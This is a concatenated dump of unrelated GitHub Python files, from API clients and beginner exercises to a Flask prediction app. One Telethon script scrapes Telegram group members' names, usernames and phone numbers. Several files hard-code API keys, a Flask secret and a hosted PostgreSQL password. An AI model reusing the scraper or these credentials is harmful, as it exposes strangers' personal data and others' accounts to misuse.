\n \n Example:\n\n >>> page = ts.get_reports(is_enclave=True, tag=\"malicious\", from_time=1425695711000, to_time=1514185311000)\n >>> for report in reports: print(report.id)\n '661583cb-a6a7-4cbd-8a90-01578fa4da89'\n 'da131660-2708-4c8a-926e-f91fb5dbbc62'\n '2e3400d6-fa37-4a8c-bc2f-155aaa02ae5a'\n '38064828-d3db-4fff-8ab8-e0e3b304ff44'\n 'dbf26104-cee5-4ca4-bdbf-a01d0178c007'\n\n \"\"\"\n\n return NumberedPage.get_generator(page_generator=self._get_reports_page_generator(is_enclave, enclave_ids, tag,\n excluded_tags, from_time, to_time))\n\n def _get_correlated_reports_page_generator(self, indicators, enclave_ids=None, is_enclave=True,\n start_page=0, page_size=None):\n \"\"\"\n Creates a generator from the |get_correlated_reports_page| method that returns each\n successive page.\n\n :param indicators: A list of indicator values to retrieve correlated reports for.\n :param enclave_ids:\n :param is_enclave:\n :return: The generator.\n \"\"\"\n\n get_page = functools.partial(self.get_correlated_reports_page, indicators, enclave_ids, is_enclave)\n return NumberedPage.get_page_generator(get_page, start_page, page_size)\n\n def get_correlated_reports(self, indicators, enclave_ids=None, is_enclave=True):\n \"\"\"\n Uses the |get_correlated_reports_page| method to create a generator that returns each successive report.\n\n :param indicators: A list of indicator values to retrieve correlated reports for.\n :param enclave_ids: The enclaves to search in.\n :param is_enclave: Whether to search enclave reports or community reports.\n :return: The generator.\n \"\"\"\n\n return NumberedPage.get_generator(page_generator=self._get_correlated_reports_page_generator(indicators,\n enclave_ids,\n is_enclave))\n\n def _search_reports_page_generator(self, search_term=None,\n enclave_ids=None,\n from_time=None,\n to_time=None,\n tags=None,\n excluded_tags=None,\n start_page=0,\n page_size=None):\n \"\"\"\n Creates a generator from the |search_reports_page| method that returns each successive page.\n\n :param str search_term: The term to search for. If empty, no search term will be applied. Otherwise, must\n be at least 3 characters.\n :param list(str) enclave_ids: list of enclave ids used to restrict reports to specific enclaves (optional - by\n default reports from all of user's enclaves are returned)\n :param int from_time: start of time window in milliseconds since epoch (optional)\n :param int to_time: end of time window in milliseconds since epoch (optional)\n :param list(str) tags: Name (or list of names) of tag(s) to filter reports by. Only reports containing\n ALL of these tags will be returned. (optional)\n :param list(str) excluded_tags: Reports containing ANY of these tags will be excluded from the results.\n :param int start_page: The page to start on.\n :param page_size: The size of each page.\n :return: The generator.\n \"\"\"\n\n get_page = functools.partial(self.search_reports_page, search_term, enclave_ids, from_time, to_time, tags,\n excluded_tags)\n return NumberedPage.get_page_generator(get_page, start_page, page_size)\n\n def search_reports(self, search_term=None,\n enclave_ids=None,\n from_time=None,\n to_time=None,\n tags=None,\n excluded_tags=None):\n \"\"\"\n Uses the |search_reports_page| method to create a generator that returns each successive report.\n\n :param str search_term: The term to search for. If empty, no search term will be applied. Otherwise, must\n be at least 3 characters.\n :param list(str) enclave_ids: list of enclave ids used to restrict reports to specific enclaves (optional - by\n default reports from all of user's enclaves are returned)\n :param int from_time: start of time window in milliseconds since epoch (optional)\n :param int to_time: end of time window in milliseconds since epoch (optional)\n :param list(str) tags: Name (or list of names) of tag(s) to filter reports by. Only reports containing\n ALL of these tags will be returned. (optional)\n :param list(str) excluded_tags: Reports containing ANY of these tags will be excluded from the results.\n :return: The generator of Report objects. Note that the body attributes of these reports will be ``None``.\n \"\"\"\n\n return NumberedPage.get_generator(page_generator=self._search_reports_page_generator(search_term, enclave_ids,\n from_time, to_time, tags,\n excluded_tags))\n\n def redact_report(self, title=None, report_body=None):\n \"\"\"\n Redacts a report's title and body.\n\n :param str title: The title of the report to apply redaction to.\n :param str report_body: The body of the report to apply redaction to.\n :return: a |RedactedReport| object.\n \"\"\"\n\n body = {\n 'title': title,\n 'reportBody': report_body\n }\n\n resp = self._client.post(\"redaction/report\", data=json.dumps(body))\n\n return RedactedReport.from_dict(resp.json())\n \n def get_report_deeplink(self, report):\n \"\"\"\n Retrieves the Station's report deeplink.\n\n :param report: A |Report| or a str object.\n :return: A report URL object.\n\n Example:\n\n >>> report = \"fcda196b-eb30-4b59-83b8-a25ab6d70d17\"\n >>> deeplink = ts.get_report_deeplink(report)\n >>> isinstance(report, str) or isinstance(report, Report)\n True\n >>> isinstance(deeplink, str)\n True\n >>> print(deeplink)\n \"\"\"\n\n # default to interal ID if report ID field is present\n # else treat report as an ID string\n try:\n report_id = report.id\n except AttributeError:\n report_id = report\n deeplink = \"{}/constellation/reports/{}\".format(self._client.station, report_id)\n\n return deeplink\n\n def get_report_status(self, report):\n \"\"\"\n Finds the processing status of a report.\n\n :param report: A |Report| or a str object.\n :return: A dict.\n\n Example result:\n \n {\n \"id\": \"3f8824de-7858-4e07-b6d5-f02d020ee675\",\n \"status\": \"SUBMISSION_PROCESSING\",\n \"errorMessage\": \"\"\n }\n\n The possible status values for a report are:\n * SUBMISSION_PROCESSING,\n * SUBMISSION_SUCCESS,\n * SUBMISSION_FAILURE,\n * UNKNOWN\n \n A report can have an UNKNOWN processing status if the report\n has not begun processing or if it is an older report\n that has not been recently updated.\n\n >>> report = \"fcda196b-eb30-4b59-83b8-a25ab6d70d17\"\n >>> result = ts.get_report_status(report)\n >>> result['status']\n \"SUBMISSION_SUCCESS\"\n \"\"\"\n if isinstance(report, Report):\n lookup = report.id\n elif isinstance(report, string_types):\n lookup = report\n else:\n raise TypeError(\"report must be of type trustar.models.Report or str\")\n\n response = self._client.get(\"reports/{id}/status\".format(id=lookup))\n response.raise_for_status()\n result = response.json()\n return result\n","repo_name":"trustar/trustar-python","sub_path":"trustar/report_client.py","file_name":"report_client.py","file_ext":"py","file_size_in_byte":28588,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"19332049453","text":"\n\nlst = []\n\nclass Area:\n\n\n def area(x):\n pi = 3.14\n areacircle = pi*(x*x)\n lst.append(areacircle)\n print(\"Area of the circle\" )\n print(areacircle)\n return areacircle\n\n def addcircle(x,y):\n pi = 3.14\n areacircle1 = pi * (x * x)\n lst.append(areacircle1)\n print(\"adding two circles\")\n print(areacircle1)\n areacircle2 = pi * (y * y)\n lst.append(areacircle2)\n print(areacircle2)\n addtwo = areacircle1 + areacircle2\n print(\"the result of two circles is :\")\n print(addtwo)\n lst.append(addtwo)\n return addtwo\n\n def comparecircle(x,y):\n pi = 3.14\n areacircle1 = pi*(x*x)\n a = areacircle1\n lst.append(a)\n print(\"Area of the circle1 \" )\n print(areacircle1)\n areacircle2 = pi * (y * y)\n b = areacircle2\n lst.append(b)\n print(\"Area of the circle 2\")\n print(areacircle2)\n if(a > b):\n print(\"I am bigger circle than other\")\n print(a)\n return a\n print(\"I am smaller circle than other\")\n print(b)\n elif(a < b):\n print(\"I am bigger circle than other\")\n print(b)\n return b\n print(\"I am smaller circle than other\")\n print(a)\n elif(a ==b):\n print(\"we both are same circles\")\n print(a,b)\n return 1\n\na1 = Area\na2 = Area\na3 = Area\na4 = Area\n\nk1 = a1.area(5)\nk2 = a2.addcircle(7,5)\nk3 = a3.comparecircle(9,6)\nprint(lst)\nlst.sort()\nprint(lst)\n\nimport turtle\nmyTurtle = turtle.Turtle()\nmyTurtle.circle(k1)\nturtle.getscreen()._root.mainloop()\n\nimport unittest\nclass Testmail(unittest.TestCase):\n\n def test_areaequal(self):\n t1 = Area\n r1 = t1.area(5)\n self.assertEqual(r1,78.5)\n\n def test_areanotequal(self):\n t1 = Area\n r1 = t1.area(5)\n self.assertNotEqual(r1, 78)\n\n def test_addequal(self):\n t2 = Area\n r2 = t2.addcircle(7,5)\n self.assertEqual(r2,232.36)\n\n def test_addnotequal(self):\n t2 = Area\n r2 = t2.addcircle(7,5)\n self.assertNotEqual(r2,232)\n\n def test_compare(self):\n t3 = Area\n r2 = t3.comparecircle(9,6)\n self.assertEqual(r2,254.34)\n\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"UWPCE-PythonCert-ClassRepos/Wi2018-Online","sub_path":"students/Gorthi_kavita/8module/circle.py","file_name":"circle.py","file_ext":"py","file_size_in_byte":2504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"16808606087","text":"# Compulsory Task\n# Creating a temperature covert app\nimport tkinter as tk\nfrom tkinter import LabelFrame, Button, Entry, END, messagebox\n\n# adding TK and giving size of body and title\n\ngui = tk.Tk()\n\ngui.title(\"Temperature Convertor\")\ngui.geometry(\"720x450\")\ngui.config(bg=\"brown\")\n\n# adding text labels\ncelsius_label_frame = LabelFrame(gui, text=\"Celsius to Fahrenheit\")\nfahrenheit_label_frame = LabelFrame(gui, text=\"Fahrenheit to Celsius\")\n# adding positioning and size\ncelsius_entry = Entry(celsius_label_frame, width=10, state=\"readonly\")\ncelsius_entry.place(x=50, y=30)\n# adding text labels\nfahrenheit_entry = Entry(fahrenheit_label_frame, width=10, state=\"readonly\")\nfahrenheit_entry.place(x=50, y=30)\n# adding positioning and size\ncelsius_label_frame.place(x=60, y=70, height=110, width=190)\nfahrenheit_label_frame.place(x=470, y=70, height=110, width=190)\n\n# defining the temperature conversion\n\n\ndef temp_con():\n try:\n if celsius_entry['state'] == \"normal\" and celsius_entry.get() != \"\":\n to_fahrenheit = float(celsius_entry.get()) * 9 / 5 + 32\n results_entry.delete(0, END)\n results_entry.insert(0, to_fahrenheit)\n\n except:\n messagebox.showinfo(\"ERROR\", \"Must be numbers\")\n try:\n if fahrenheit_entry['state'] == \"normal\" and fahrenheit_entry.get() != \"\":\n to_celsius = (float(fahrenheit_entry.get()) - 32) * 5 / 9\n results_entry.delete(0, END)\n results_entry.insert (0, to_celsius)\n\n except:\n messagebox.showinfo(\"ERROR\", \"Must be numbers\")\n\n\n# defining the clear button\n\ndef clear():\n celsius_entry.delete(0, END)\n fahrenheit_entry.delete(0, END)\n results_entry.delete(0, END)\n\n# defining entry values of temperature\n\n\ndef celc_ent():\n\n if celsius_entry['state'] == \"normal\":\n celsius_entry.config(state=\"disabled\")\n\n else:\n celsius_entry.config(state=\"normal\")\n fahrenheit_entry.config(state=\"disabled\")\n\n\ndef farh_ent():\n if fahrenheit_entry['state'] == \"normal\":\n fahrenheit_entry.config(state=\"disabled\")\n else:\n fahrenheit_entry.config(state=\"normal\")\n celsius_entry.config(state=\"disabled\")\n\n# defining exit button\n\ndef exit():\n msg_box = messagebox.askquestion(\"Exit Application\", \"Are you sure you want to exit\")\n if msg_box == \"yes\":\n gui.destroy()\n else:\n messagebox.showinfo(\"Returning\", \"You will now return \")\n\n# activating buttons\n\n\nactivate_celsius_btn = Button(gui, text=\"Activate C to F\", borderwidth=6, fg=\"red\", font=(\"Consolas 15 bold\"), command=celc_ent, bg=\"yellow\")\nactivate_celsius_btn.place(x=50, y=190)\n\n\nactivate_fahrenheit_btn = Button(gui, text=\"Activate F to C\", command=farh_ent, borderwidth=6, fg=\"red\", font=(\"Consolas 15 bold\"), bg=\"yellow\")\nactivate_fahrenheit_btn.place(x=460, y=190)\n# convert buttons\n\nconvert_button = Button(gui, text=\"Convert\", command=temp_con, borderwidth=6, fg=\"red\", font=(\"Consolas 15 bold\"), bg=\"yellow\")\nconvert_button.place(x=80, y=280)\n\n# results\n\nresults_entry = Entry(gui, bg=\"yellow\", width=10)\nresults_entry.place(x=220, y=290, height=29.5)\n\n# giving clear button a command\n\nclear_button = Button(gui, text=\"Clear\", command=clear, borderwidth=6, fg=\"red\", font=(\"Consolas 15 bold\"), bg=\"yellow\")\nclear_button.place(x=350, y=220)\n\n# giving exit button a command\n\nexit_button = Button(gui, text=\"Exit\", command=exit, borderwidth=6, fg=\"red\", font=(\"Consolas 15 bold\"), bg=\"yellow\")\nexit_button.place(x=350, y=280)\n\n# adding a mainloop for it to run\ngui.mainloop()","repo_name":"IkraamSage/temperature_convertor","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"13194480803","text":"import os\nfrom telethon.tl.types import PeerChat, PeerChannel\nfrom telethon.sync import TelegramClient\nfrom dotenv import load_dotenv\n\n# Load environment variables\nload_dotenv()\n\n# Set up your API credentials\napi_id = os.getenv(\"API_ID\")\napi_hash = os.getenv(\"API_HASH\")\n\n# Set up the session and connect to Telegram\nwith TelegramClient('get_members', api_id, api_hash) as client:\n # Get the members from the source group\n source_group = \"overpipster\"\n # target_group = 'TARGET_GROUP_USERNAME'\n\n source_entity = client.get_entity(source_group)\n # target_entity = client.get_entity(target_group)\n\n # Get all the members from the source group\n members = [{'id': user.id, 'first name': user.first_name, 'username': user.username, 'Phone_number': user.phone, 'bot': user.bot}\n for user in client.get_participants(source_entity)]\n\n for member in members:\n print(member[\"first name\"], member['username'], member['Phone_number'])\n\n\n # # Add each member to the target group\n # for member in members:\n # try:\n # client(InviteToChannelRequest(target_entity, [member]))\n # print(f\"Added {member.username} to {target_group}\")\n # except Exception as e:\n # print(f\"Failed to add {member.username} to {target_group}: {str(e)}\")\n","repo_name":"RhythmBear/telegram-member-scraperr","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"37233041624","text":"from django.urls import path\nfrom . import views\n\n# app_name='books'\n\nurlpatterns = [\n path('', views.index, name = 'index'),\n path('upload/', views.upload, name = 'upload-book'),\n path('update/', views.update_book),\n path('delete/', views.delete_book),\n path('booklist/', views.BookListView.as_view(template_name=\"books/library.html\")),\n path('author/add/', views.AuthorCreateView.as_view(template_name=\"books/author_form.html\"), name='author-add'),\n path('author//', views.AuthorUpdateView.as_view(), name='author-update'),\n # path('author//delete/', views.AuthorDeleteView.as_view(), name='author-delete'),\n]\n\n\n\n","repo_name":"prerna7982-code/django_auth_poc","sub_path":"customuserwebsite/books/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"36816035327","text":"# using python-dotenv method\nimport json\nimport requests\nimport os\nfrom dotenv import load_dotenv\nload_dotenv()\n\n\nquery = \"\"\"query\n{\n PoapEventV1s(first: 100, where: {name: {contains: \"Bankless DAO Community\"}}) {\n \tdata {\n \t id,\n name,\n virtualEvent,\n description,\n endsAt\n \t}\n }\n}\n\"\"\"\n\n\ndef run_query(q):\n request = requests.post('https://prod-content-gateway-api.herokuapp.com/api/v1/graphql'\n '',\n json={'query': query})\n if request.status_code == 200:\n return request.json()\n else:\n raise Exception('Query failed. Return code is {}, {}'.format(\n request.status_code, query))\n\n\nresult = run_query(query)\n\n# print results\nprint('Print POAP API Query Result - {}'.format(result))\n","repo_name":"BanklessDAO/analytics","sub_path":"poap/graphql_api/poap_api_connection.py","file_name":"poap_api_connection.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"5"} +{"seq_id":"21639969834","text":"#!/usr/bin/env python3\n# videowall target_path config_path\n\nimport yaml\nimport subprocess\nimport os\nimport sys\nimport mplay\n\ndef get_matrix_size(values):\n return tuple(b + 1 for b in max(((a['pos'] for a in values))))\n\ndef make_cmd_mat(cmds, size):\n x, y = size\n cmd_mat = [[None] * y] * x\n for cmd in cmds:\n i, j = cmd['pos']\n cmd_mat[i][j] = cmd['cmd']\n return cmd_mat\n\ndef merge_node_cmd(cmd_mat, node):\n node['cmd'] = cmd_mat[node['pos'][0]][node['pos'][1]]\n return node\n\ndef rsync(ip, path):\n cmd = ('rsync', path, '{}:{}'.format(ip, path))\n print(cmd)\n # subprocess.call(cmd)\n\ndef remove_remote(ip, path):\n remote_cmd = \"rm '{}'\".format(path)\n cmd = ('ssh', ip, remote_cmd)\n subprocess.call(cmd)\n\ndef main(config, target=None):\n res = config['resolution']\n nodes = config['nodes']\n bcast = config['bcast']\n target = config['target'] if not target else target\n size = get_matrix_size(nodes.values())\n\n cmds = mplay.gen_videowall_cmds(target, size, res, bcast)\n cmd_mat = make_cmd_mat(cmds, size)\n nodes = (merge_node_cmd(cmd_mat, node) for node in nodes.values())\n active_nodes = [node for node in nodes if node['cmd']]\n\n for node in active_nodes:\n rsync(node['ip'], target)\n print('ssh', node['ip'], node['cmd'])\n # node['proc'] = subprocess.Popen(('ssh', node['ip'], cmd))\n\n master_cmd = ('mplayer', '-loop', '0', '-udp-master', '-udp-ip', bcast, target)\n print(' '.join(master_cmd))\n # subprocess.call(master_cmd)\n\n # # cleanup; called when mplayer is terminated\n # os.remove(target)\n for node in active_nodes:\n pass\n # node['proc'].terminate()\n # remove_remote(node['ip'], target)\n\nif __name__ == '__main__':\n\n with open('config.yaml') as config_file:\n config = yaml.load(config_file)\n\n target = None if len(sys.argv) < 2 else sys.argv[1]\n if not os.path.isfile(target):\n print('invalid path')\n sys.exit(1)\n else:\n main(config, target)\n","repo_name":"rhetr/videowall","sub_path":"videowall.py","file_name":"videowall.py","file_ext":"py","file_size_in_byte":2028,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"10978633647","text":"from fastapi import APIRouter\n\nfrom mex.backend.graph.connector import GraphConnector\nfrom mex.backend.ingest.models import BulkIngestRequest, BulkIngestResponse\n\nrouter = APIRouter()\n\n\n@router.post(\"/ingest\", status_code=201, tags=[\"extractors\"])\ndef ingest_extracted_items(request: BulkIngestRequest) -> BulkIngestResponse:\n \"\"\"Ingest batches of extracted items grouped by their type.\"\"\"\n connector = GraphConnector.get()\n models = request.get_all()\n identifiers = connector.ingest(models)\n return BulkIngestResponse(identifiers=identifiers)\n","repo_name":"robert-koch-institut/mex-backend","sub_path":"mex/backend/ingest/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"37628982729","text":"from web3.utils.toolz import (\n assoc,\n)\n\n\ndef gas_price_strategy_middleware(make_request, web3):\n \"\"\"\n Includes a gas price using the gas price strategy\n \"\"\"\n def middleware(method, params):\n if method == 'eth_sendTransaction':\n transaction = params[0]\n if 'gasPrice' not in transaction:\n generated_gas_price = web3.eth.generateGasPrice(transaction)\n if generated_gas_price is not None:\n transaction = assoc(transaction, 'gasPrice', generated_gas_price)\n return make_request(method, [transaction])\n return make_request(method, params)\n return middleware\n","repo_name":"salil-gtm/SyndiShare","sub_path":".local/lib/python3.5/site-packages/web3/middleware/gas_price_strategy.py","file_name":"gas_price_strategy.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"5"} +{"seq_id":"40882475859","text":"import http.client, urllib.request, urllib.parse, urllib.error, base64\nimport json\n\nheaders = {\n # Request headers\n 'Ocp-Apim-Subscription-Key': '{key}',\n}\n\nparams = urllib.parse.urlencode({\n})\n\ntry:\n conn = http.client.HTTPSConnection('dev.tescolabs.com')\n conn.request(\"GET\", \"/grocery/products/?query={query}&offset=0&limit=10&%s\" % params, \"{body}\", headers)\n response = conn.getresponse()\n data = response.read().decode()\n info = json.loads(data)\n with open(\"products.json\", \"w\") as file:\n json.dump(info, file, indent=4, separators=(',', ': '))\n conn.close()\nexcept Exception as e:\n print(\"[Errno {0}] {1}\".format(e.errno, e.strerror))\n","repo_name":"NazarTodo/meals-recipes_menu_project","sub_path":"API_examples/tesco_api.py","file_name":"tesco_api.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"43412601180","text":"import requests\r\nimport json\r\nimport webbrowser\r\n\r\nmain_url='https://api.spoonacular.com/recipes/findByIngredients?'\r\n\r\nprint(\"Enter the food you want the recipe for: \")\r\n\r\n#defining the parameters\r\nparameters={}\r\nparameters['apiKey']='20da25c69ae5442cab091cba87b91f0a'\r\nparameters['number']=5\r\nparameters['ingredients']=input()\r\n\r\n\r\nfile=requests.get(main_url,params=parameters)\r\nfile=file.json()\r\n#print(file.url)\r\n#print(file.json())\r\np=0\r\n#getting the url and clicking the url in our desired browser\r\n\r\nfor i in file:\r\n\r\n print(file[p]['title'])\r\n print('==========================================================================================')\r\n id=file[p]['id']\r\n #url_recipe=file[p]['sourceUrl']\r\n #webbrowser.open_new_tab(url_recipe)\r\n p += 1\r\n\r\n\r\n\r\n\r\n # defining the parameters\r\n\r\n ###============================Ingredients\r\n print('=====INGREDIENTS=====')\r\n main_url='https://api.spoonacular.com/recipes/{}/information?apiKey=20da25c69ae5442cab091cba87b91f0a&includeNutrition=true'.format(id)\r\n ingredient_request=requests.get(main_url)\r\n ingredient_json=ingredient_request.json()\r\n ingredients=ingredient_json['nutrition']['ingredients']\r\n for i in ingredients:\r\n print(i['name']+' '+str(i['amount'])+' '+str(i['unit']))\r\n print('-------------------------------------------------------------------------------------')\r\n","repo_name":"SalmanSayeed79/Recipe-python","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"9567018397","text":"import sys\nfrom cx_Freeze import setup, Executable\n\nbuild_exe_options = {\n \"packages\": [\"utils\", \"logs\", \"server\"],\n}\nsetup(\n name=\"takmachat_server\",\n version=\"0.0.1\",\n description=\"server for small messaging application\",\n options={\n \"build_exe\": build_exe_options\n },\n executables=[Executable('server.py',\n # base='Win32GUI',\n targetName='server.exe',\n )]\n)\n","repo_name":"DmitryTakmakov/Takmachat","sub_path":"server/server/setup_server.py","file_name":"setup_server.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"30758343622","text":"import yaml\nimport os\n\n# just execute this once\n# os.chdir('./data')\n\nclass MyClass(object):\n def __init__(self, init_val):\n self.val = init_val\n\n def increment(self):\n self.val += 1\n\n\ncc = MyClass(5)\ncc.increment()\ncc.increment()\n\nwith open('obj.yaml', 'w') as fh:\n yaml.dump(cc, fh)\n\n# Unlike pickles, only this part of the code is not working\nwith open('obj.yaml') as fh:\n inst = yaml.load(fh)","repo_name":"karvendhanm/corey_schafer_oops","sub_path":"YAML_object_serialization_v_3.py","file_name":"YAML_object_serialization_v_3.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"31333912067","text":"#\n# @lc app=leetcode.cn id=345 lang=python3\n#\n# [345] 反转字符串中的元音字母\n#\n\n\n# @lc code=start\nclass Solution:\n def reverseVowels(self, s: str) -> str:\n s_list = list(s)\n left, right = 0, len(s_list) - 1\n aeiou = ['a', 'e', 'i', 'o', 'u']\n while left < right:\n # 左指针是否是元音字母\n while left < right and s_list[left].lower() not in aeiou:\n left += 1\n while left < right and s_list[right].lower() not in aeiou:\n right -= 1\n s_list[left], s_list[right] = s_list[right], s_list[left]\n left += 1\n right -= 1\n \n return ''.join(s_list)\n\n# @lc code=end\n\n","repo_name":"lldfire/basic","sub_path":"leecode/双指针/345.反转字符串中的元音字母.py","file_name":"345.反转字符串中的元音字母.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"36040389966","text":"import os\nfrom flask import Flask, render_template, redirect, session, request\nfrom form import RegisterForm\nfrom form import LoginForm\nfrom models import NewPerson\nfrom models import db\nfrom flask_wtf.csrf import CSRFProtect\nimport pickle\nimport pandas as pd\nimport sklearn\nimport category_encoders\nimport numpy as np\nfrom flask_sqlalchemy import SQLAlchemy\nimport requests\nimport json\nimport psycopg2\n\napp = Flask(__name__)\ncsrf = CSRFProtect(app)\ncsrf.init_app(app)\n\nbase = os.path.abspath(os.path.dirname(__file__))\ndbfile = os.path.join(base, 'login.db')\n\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///' + dbfile\napp.config['SQLALCHEMY_COMMIT_ON_TEARDOWN']= True\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS']= False\napp.config['SECRET_KEY'] = \"secretkey123123123\"\napp.config['WTF_CSRF_SECRET_KEY'] = \"secretkey123123123\"\n\ndb.init_app(app)\ndb.app = app\ndb.create_all()\n\n\n\n@app.route('/')\ndef mainpage():\n userid = session.get('userid',None)\n return render_template('main.html', userid=userid)\n\n@app.route('/newper', methods=['GET', 'POST'])\ndef newper():\n form = RegisterForm()\n if form.validate_on_submit():\n newp = NewPerson()\n newp.userid = form.data.get('userid')\n newp.username = form.data.get('username')\n newp.password = form.data.get('password')\n\n db.session.add(newp)\n db.session.commit()\n\n print('yes')\n\n return redirect('/')\n \n return render_template('newper.html',form=form)\n\n@app.route('/login/', methods=['GET', 'POST'])\ndef login():\n forms = LoginForm()\n if forms.validate_on_submit():\n print('{} 로그인 했습니다.'.format(forms.data.get('userid')))\n session['userid'] = forms.data.get('userid')\n return redirect('/home')\n return render_template('login.html', form=forms)\n \n@app.route('/logout', methods=['GET'])\ndef logout():\n session.pop('userid', None)\n return redirect('/')\n\n\n@app.route('/home')\ndef home():\n return render_template('home.html')\n\n\n@app.route('/about')\ndef about():\n return render_template('about.html')\n\n\n@app.route('/Portfolio')\ndef portfolio():\n if request.method =='GET':\n \n req = request.query_string\n String = req.decode('utf-8')\n color = String.split('&')\n colors = []\n for i in color:\n value = i.replace('color=', '')\n colors.append(value)\n\n if colors != ['']:\n with open('pipe.pkl', 'rb') as pickle_file:\n model = pickle.load(pickle_file)\n\n X_test = pd.DataFrame(index = ['base_year_month', 'base_year', 'biz_type', 'sex', 'age_range','day_of_week'],\n data=[colors[1], int(2021), colors[0], colors[2], colors[3]+str('대'), colors[4]], columns=['0']).T\n \n if X_test['base_year_month'].values[0] == type(str):\n X_test['base_year_month'] = int(X_test['base_year_month'])\n\n if X_test['biz_type'].values[0] == 'beef':\n X_test['biz_type'].values[0] = '고기'\n\n elif X_test['biz_type'].values[0] == 'korean_food':\n X_test['biz_type'].values[0] = '한식'\n\n elif X_test['biz_type'].values[0] == 'japaness_food':\n X_test['biz_type'].values[0] = '일식'\n\n elif X_test['biz_type'].values[0] == 'western_food':\n X_test['biz_type'].values[0] = '양식'\n\n elif X_test['biz_type'].values[0] == 'chiness_food':\n X_test['biz_type'].values[0] = '중식'\n\n elif X_test['biz_type'].values[0] == 'bunsik':\n X_test['biz_type'].values[0] = '분식'\n\n elif X_test['biz_type'].values[0] == 'dessert':\n X_test['biz_type'].values[0] = '디저트'\n\n elif X_test['biz_type'].values[0] == 'fusion':\n X_test['biz_type'].values[0] = '퓨전'\n\n elif X_test['biz_type'].values[0] == 'buffet':\n X_test['biz_type'].values[0] = '부페'\n\n elif X_test['biz_type'].values[0] == 'fast_food':\n X_test['biz_type'].values[0] = '패스트푸드'\n\n else:\n X_test['biz_type'].values[0] = '기타'\n\n if X_test['sex'].values[0] == 'male':\n X_test['sex'].values[0] = '남자'\n else:\n X_test['sex'].values[0] = '여자'\n if X_test['day_of_week'].values[0] == 'mon':\n X_test['day_of_week'].values[0] = '월'\n elif X_test['day_of_week'].values[0] == 'tue':\n X_test['day_of_week'].values[0] = '화'\n elif X_test['day_of_week'].values[0] == 'wen':\n X_test['day_of_week'].values[0] = '수'\n elif X_test['day_of_week'].values[0] == 'thu':\n X_test['day_of_week'].values[0] = '목'\n elif X_test['day_of_week'].values[0] == 'fri':\n X_test['day_of_week'].values[0] = '금'\n elif X_test['day_of_week'].values[0] == 'sat':\n X_test['day_of_week'].values[0] = '토'\n else:\n X_test['day_of_week'].values[0] = '일'\n\n if X_test['biz_type'].values[0] == '고기':\n X_test['biz_type'].values[0] = '고기요리'\n else:\n X_test['biz_type'].values[0]\n \n user_count = model.predict(X_test)\n user_count = np.round(user_count, 1)\n\n user = user_count[0]\n month = X_test['base_year_month'].values[0]\n year = X_test['base_year'].values[0]\n biztype = X_test['biz_type'].values[0]\n sex = X_test['sex'].values[0]\n age =X_test['age_range'].values[0]\n week = X_test['day_of_week'].values[0]\n\n \n if type(X_test) == series:\n def postgre():\n connection = psycopg2.connect(\n host=\"castor.db.elephantsql.com\",\n database=\"ksscqlnz\",\n user=\"ksscqlnz\",\n password=\"b60wugaYTpdHgnMDucQAENPIFSkMLncg\")\n\n cur = connection.cursor()\n return connection, cur\n connection, cur = postgre()\n\n cur.execute(\"\"\" INSERT INTO jeju (base_year_month, base_year, bize_type, sex, age_range, day_of_week, user_count) \n VALUES (%s, %s, %s, %s, %s, %s, %s);\"\"\",(month, year, biztype, sex, age, week, user))\n \n connection.commit()\n cur.close()\n connection.close()\n \n\n else:\n user_count=0\n\n if user_count != 0:\n\n client_id = 'gOskwwQzbEutCU9wQ90k'\n client_key = '5Na6Pkwa_w'\n \n \n if X_test['biz_type'].values[0] == '고기':\n X_test['biz_type'].values[0] = '고기요리'\n else:\n X_test['biz_type'].values[0]\n \n\n naver_url = 'https://openapi.naver.com/v1/search/local?display=5&sort=comment&query=제주도 '+ X_test['biz_type'].values[0]\n headers = {\"X-Naver-Client-Id\":client_id, \"X-Naver-Client-Secret\":client_key}\n response = requests.get(naver_url, headers=headers)\n names = []\n roads = []\n url = 'http://127.0.0.1:3000/public/dashboard/cb6e2602-7cb7-4f81-9ce1-d6064e6de495'\n data = response.json()\n for i in data['items']:\n title = i['title']\n road = i['roadAddress']\n names.append(title)\n roads.append(road)\n else:\n names =''\n roads =''\n url = ''\n\n return render_template('Portfolio.html', user_count=user_count, names=names, roads=roads, url=url)\n\n\nif __name__ == '__main__': \n csrf = CSRFProtect(app)\n csrf.init_app(app)\n\n base = os.path.abspath(os.path.dirname(__file__))\n dbfile = os.path.join(base, 'login.db')\n\n 